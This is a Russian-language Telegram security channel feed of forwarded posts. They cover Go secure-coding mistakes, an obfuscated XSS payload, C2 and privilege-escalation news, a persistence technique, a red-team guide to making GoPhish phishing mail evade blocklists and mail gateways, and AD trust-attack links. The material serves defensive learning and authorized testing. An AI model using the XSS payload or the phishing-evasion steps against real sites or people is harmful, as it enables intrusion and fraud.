Fsecurity | HH
2.06K subscribers
1.73K photos
105 videos
62 files
6.18K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from Blue (h/c)at Café
💻 Go Security Audit

- Ну Го


В последние месяцы сообщество «вайбкодеров» набирает обороты, быстрая разработка прототипов и использование хайповых (или так уже никто не говорит 👀) библиотек стали нормой. Но вместе с ростом популярности приходят и проблемы. С каждым днём существования легкого доступа к LLM требования к качеству и безопасности кода только ужесточаются, и приходится всё внимательнее разбирать каждую строчку - от параметризации запросов и управления таймаутами до корректной работы с токенами, конкурентностью и цепочкой зависимостей.

Далее, я подобрал примеры ошибок, которые допускают не только нейронки, но также и обычные НЕВАЙБ кодеры.


💉 Инъекции — beyond?
Почему важно? Любая конкатенация строки + ввод = дыра.
// Плохо: fmt.Sprintf + Query

query := fmt.Sprintf("SELECT id, email FROM users WHERE email = '%s'", email)
db.Query(query)


// Правильно: PrepareContext + таймаут + закрытие stmt

ctx, cancel := context.WithTimeout(ctx, 200*time.Millisecond)
defer cancel()
stmt, err := db.PrepareContext(ctx, `
  SELECT id, email 
  FROM users 
  WHERE email = $1 AND deleted = FALSE
`)
if err != nil { return err }
defer stmt.Close()
row := stmt.QueryRowContext(ctx, email)

🔵 Контроль таймаута, явное закрытие stmt, фильтрация «мягко удалённых» записей.
🔵 Для Mongo/Redis — запрещайте $where-выражения, ограничивайте глубину BSON и размер документа ( (bson.M{"\$where": …})).


🔑 JWT & ключи — RS256 + кэйсинг заголовков
parser := &jwt.Parser{ValidMethods: []string{"RS256"}}
token, err := parser.ParseWithClaims(tokenStr, &CustomClaims{}, func(t *jwt.Token) (interface{}, error) {
    return publicKey, nil
})

🔵 Отбрасываем HS*-вставки, проверяем alg, jti, nbf, exp.
🔵 Приватные ключи держим в HSM/Vault, ротация через PKCS#11 или Vault Transit.


🗑 unsafe & бинарные протоколы
hdr := (*reflect.SliceHeader)(unsafe.Pointer(&b))
hdr.Len = header.Length
hdr.Cap = header.Length

Только после Code Review - проверка границ, выравнивания и GC-безопасности.


🔗 Зависимости & Supply Chain
🔵 govulncheck в CI/CD с --mode=imports + --mode=versions.
🔵 Go Proxy — свой прокси-миррор, чтобы исключить проблемки.
🔵 Блокировка PR при CVSS >= 8 (или epss/kev/ТЫК) и альтернативные фиксы через replace в go.mod.


🌪 Context & Cancellation — чтобы не "утекал" код
Корректная передача context — базовый стандарт зрелых Go-сервисов.
// Создаём контекст с дедлайном для HTTP-запроса
ctx, cancel := context.WithTimeout(parentCtx, 2*time.Second)
defer cancel()  // обязательный вызов!
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
_, err := http.DefaultClient.Do(req)

🔵 Никогда не забывать defer cancel(), даже при раннем return


🏎 Concurrency & Data Races — -race, sync vs atomic
// две горутины одновременно плюсуют visits
var visits int
go func() { visits++ }()
go func() { visits++ }()

Запуск go test -race в CI обнаружит такие случаи
Очень требовательно к ресурсам и не рекомендуется в монолитах или говно-микросервисах


// Правильно:
// С Mutex
var (
visitsMu sync.Mutex
visits int
)
go func() {
visitsMu.Lock()
visits++
visitsMu.Unlock()
}()

// Или атомарно
var visitsAtomic uint64
go func() {
atomic.AddUint64(&visitsAtomic, 1)
}()



Panic Recovery & Fault Tolerance — graceful failover
Паника в одном handler’е не должна убивать весь HTTP-сервер:
func recoveryMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
defer func() {
if rec := recover(); rec != nil {
log.Error().
Interface("penic", rec).
Msg("recovered from penic xD in handler")
http.Error(w, "internal error", http.StatusInternalServerError)
}
}()
next.ServeHTTP(w, r)
})
}

🔵 Прокидываем middleware на самый верх стека роутинга


🗒 Выводы
Их не будет, просто примеры из практики. Смотрите внимательнее, что вам выдаёт chatgpt или аналоги.

Добра и позитива appsec-ам, остальным соболезную 💥
Please open Telegram to view this post
VIEW IN TELEGRAM
Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from Proxy Bar
Ды вы охренели !

XSS payload, Cuneiform-alphabet based
"><img/src=x onerror="𐂃='',𐃨=!𐂃+𐂃,𐂝=!𐃨+𐂃,𐃌=𐂃+{},𐁉=𐃨[𐂃++],𐃵=𐃨[𐂓=𐂃],𐀜=++𐂓+𐂃,𐂠=𐃌[𐂓+𐀜],𐃨[𐂠+=𐃌[𐂃]+(𐃨.𐂝+𐃌)[𐂃]+𐂝[𐀜]+𐁉+𐃵+𐃨[𐂓]+𐂠+𐁉+𐃌[𐂃]+𐃵][𐂠](𐂝[𐂃]+𐂝[𐂓]+𐃨[𐀜]+𐃵+𐁉+'(document.domain)')()"


#этопотомучтовывцерковьнеходите
🤯1
Forwarded from purple shift
А помните, мы рассказывали, как злоумышленники могут без авторизации производить перебор доменных пользователей через интерфейс MS-NRPC? На самом деле, это часть большого исследования нашего эксперта Хайдара Кабибо. Исследование посвящено одной из самых сложных технологий в ОС Windows: многоуровневой системе коммуникации Inter-Process Communication (IPC). Частью этой системы является и протокол RPC (Remote Procedure Call), который используется в упомянутой выше атаке.

Недавно Хайдар начал публиковать полную версию своего исследования в виде серии блоговых постов, и вы уже можете ознакомиться с некоторыми из них.

Первая часть представляет общий план исследования: оно покрывает все четыре уровня организации IPC, от самого высокого (DCOM) до технологий уровня ядра (Named Pipes, ALPC).

Во второй части автор разбирает интерфейс RPC и показывает, как создавать собственные RPC-серверы и клиенты.

Третья часть посвящена дескрипторами привязки (Binding Handles), которые используются в RPC для управления соединениями между сервером и клиентом.

А в четвёртой части вы узнаете, как организована безопасность RPC. Здесь и объясняется, почему некоторые действия в этом протоколе можно выполнять с более низким уровнем аутентификации, чем вы ожидали; в частности, интерфейсы многих RPC-северов разрешают доступ безо всякой авторизации вообще.

И это ещё не всё! Продолжение исследования – читайте в блоге Хайдара по мере публикации.
Forwarded from Adaptix Framework
AdaptixC2 v0.6 is out

https://github.com/Adaptix-Framework/AdaptixC2

* Обновленная консоль агента с гибкими настройками
* Оповещения в Telegram
* OTP для синхронизации файлов и команд
* Новая тема Dracula
* Обновление до Golang 1.24.4

Полная информация по обновлению: https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.5-greater-than-v0.6
Forwarded from RedTeam brazzers (Миша)
Друзья, всем привет! Я наконец-то созрел и конвертировал текст своего выступления на CyberWave в статью. Любуйтесь злоупотреблением символическими ссылками на medium : )

https://cicada-8.medium.com/were-going-the-wrong-way-how-to-abuse-symlinks-and-get-lpe-in-windows-0c598b99125b
Forwarded from Proxy Bar
CVE-2025-49144
*
Notepad++ v8.8.1
*
SYSTEM-level POC

#win #lpe
Forwarded from ByTe [ ]f Digital Life
PERSISTENCE

Идея — использовать мало-заметный WinAPI-вызов RegisterApplicationRestart, который штатно предназначен для перезапуска «упавших» приложений, но в связке с «правильным» завершением системы можно превратить его в механизм персистентности.

Для срабатывания перезапуска необходимо, чтобы перед выключением или рестартом был вызван ExitWindowsEx с флагом EWX_RESTARTAPPS (или InitiateShutdown c SHUTDOWN_RESTARTAPPS) — обычное «клик-по-Shutdown» этого не делает.


Признаки:
Появление ключей HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Application Restart #<n> сразу после начала выключения.
Наличие структуры WER_PEB_HEADER_BLOCK в PEB процесса.

https://blog.phantomsec.tools/phantom-persistence "Phantom Persistence | PhantomSec Blog"
Forwarded from REDtalk (closed_character)
Всем привет! ❤️ Немного про социалочку.

Когда проводишь проекты по социотехническому тестированию, нередко сталкиваешься с кучей технических нюансов.

❗️Это и попадание в списки подозрительных ресурсов, если вы случайно выкинули GoPhish наружу.
❗️И фильтрация писем почтовыми шлюзами.
❗️И особенности отображения у разных почтовых клиентов.

Сегодня поговорим о том, с чем реально можно сталкнуться на практике. Особенно это актуально, если вы делаете такое впервые.


🔥Проблема 1. Как не попасть в списки злых хацкеров

Если просто открыть GoPhish в интернет, то через какое-то время ваш IP будет помечен как подозрительный.

💡Что делаем:

Используем связку из нескольких Nginx-прокси:

• наружу отдаётся только IP внешнего прокси;
• весь трафик уходит по VPN на внутренний сервер с GoPhish;
• админка доступна только из VPN.

Если не хочется поднимать VPN:

На сервере с GoPhish закрываем 443 порт снаружи, кроме ip нашего прокси:


sudo iptables -I DOCKER-USER -p tcp --dport 443 ! -s <proxy_ip> -j DROP


В конфиге Nginx дополнительно прописываем кому можно обращаться к нашей фишинговой странице:


allow <proxy_ip>;
deny all;


Админку вешаем на 127.0.0.1 и подключаемся так:

ssh -L 8080:127.0.0.1:8080 user@server_with_gophish


Остается только настроить SSL для нашего фишингового домена. Теперь GoPhish не светится наружу, и мы спим спокойно.


🔥Проблема 2. Спам-фильтры и почтовые шлюзы

Немного теории:

SPF — указывает, какие IP могут отправлять письма от имени домена.
DKIM — добавляет цифровую подпись к письмам.
DMARC — объединяет SPF и DKIM, говорит, что делать с письмами, которые не проходят проверки.

Если вы некорректно настроите данные dns записи, то письма просто не дойдут до адресата.

💡Что делаем:

Используем SMTP-сервисы с хорошей репутацией. Например, VK WorkSpace.

Схема такая:

• Подключаем фишинговый домен;
• Сервис формирует SPF/DKIM/DMARC;
• Копируем записи в DNS.

Теперь письма проходят по всем стандартам (но это не точно).

Но даже если всё идеально настроено, то ваши фишинговые письма могут быть заблокированы на почтовых шлюзах. Причина - Email-заголовки.

Далее рассмотрим на примере с GoPhish:

Еще немного теории. Сильно не пинайте - это важно для понимания:

• Message-ID - уникальный идентификатор письма, формируется клиентом или сервером, помогает отслеживать сообщения и выстраивать цепочки переписки.
• X-Mailer - указывает на почтовую платформу или внутренний ID отправителя.

Именно они могут стать причиной того, что ваши фишинговы письма не дойдут до цели.


X-Mailer: gophish
Message-ID: <1743...@hostname>


X-Mailer палит GoPhish сразу.
Message-ID генерируется с hostname контейнера или вашего сервера на котором крутиться GoPhish. Почтовые шлюзы могут блокировать письма, если видят несоответствие между Message-ID и доменами из SPF, DKIM, DMARC.

💡Что делаем:

SMTP Relay с Postfix. GoPhish остаётся «тупым». Он просто отправляет письмо. А контейнер с Postfix:

1. Принимает письмо;
2. Переписывает заголовки;
3. Отправляет дальше на сторонний SMTP - сервис (в нашем случае VK Workspace)

Файл smtp_header_checks:



/^Message-ID:/ REPLACE Message-ID: <CAFEBABE.20250324T1830@your_domain>


PS: X-Mailer можно убрать и через GUI GoPhish. А вот Message-ID просто так не убрать.

Письма доходят, заголовки чистые. Все счастливы.

#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from REDtalk (closed_character)
<продолжение>


🔥Проблема 3. Outlook и картинки

Письмо уходит, всё работает. Верстаем шаблон, отправляем и…

Для защиты вашей конфиденциальности изображения не загружены


Наши картинки не отображаются. Почему? Outlook по умолчанию блокирует все внешние изображения.

💡Что делаем:

Первое, что можно попробовать - Base64:

<img src="data:image/png;base64,iVBORw...">


Способ хороший и отработает на большинстве современных почтовых клиентах. Однако Outlook все равно посчитает это внешним ресурсом и заблокирует.

Второй способ - Content-ID (CID).

Картинку прикладываем к письму как вложение, а в HTML пишем:

<img src="cid:image.jpg">




На этом все друзья! 🙂

А с какими проблемами сталкивались вы ? Делитесь в комментариях, обсудим вместе. 🤗

Ну и по традиции не забудьте подписаться на канал, если еще этого не сделали. И до новых встреч!

#redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Ralf Hacker Channel (Ralf Hacker)
Сразу две статьи от SpecterOps, можно считать, одна - продолжение другой. В блоге разбирают атаки на трасты AD, но с упором на BloodHound CE.

1. Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound

2. Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA)

Даже если не собираетесь погружаться в BHCE, стоит просто бегло почитать))

#pentest #redteam #ad #trust #lateralmovement #bloodhound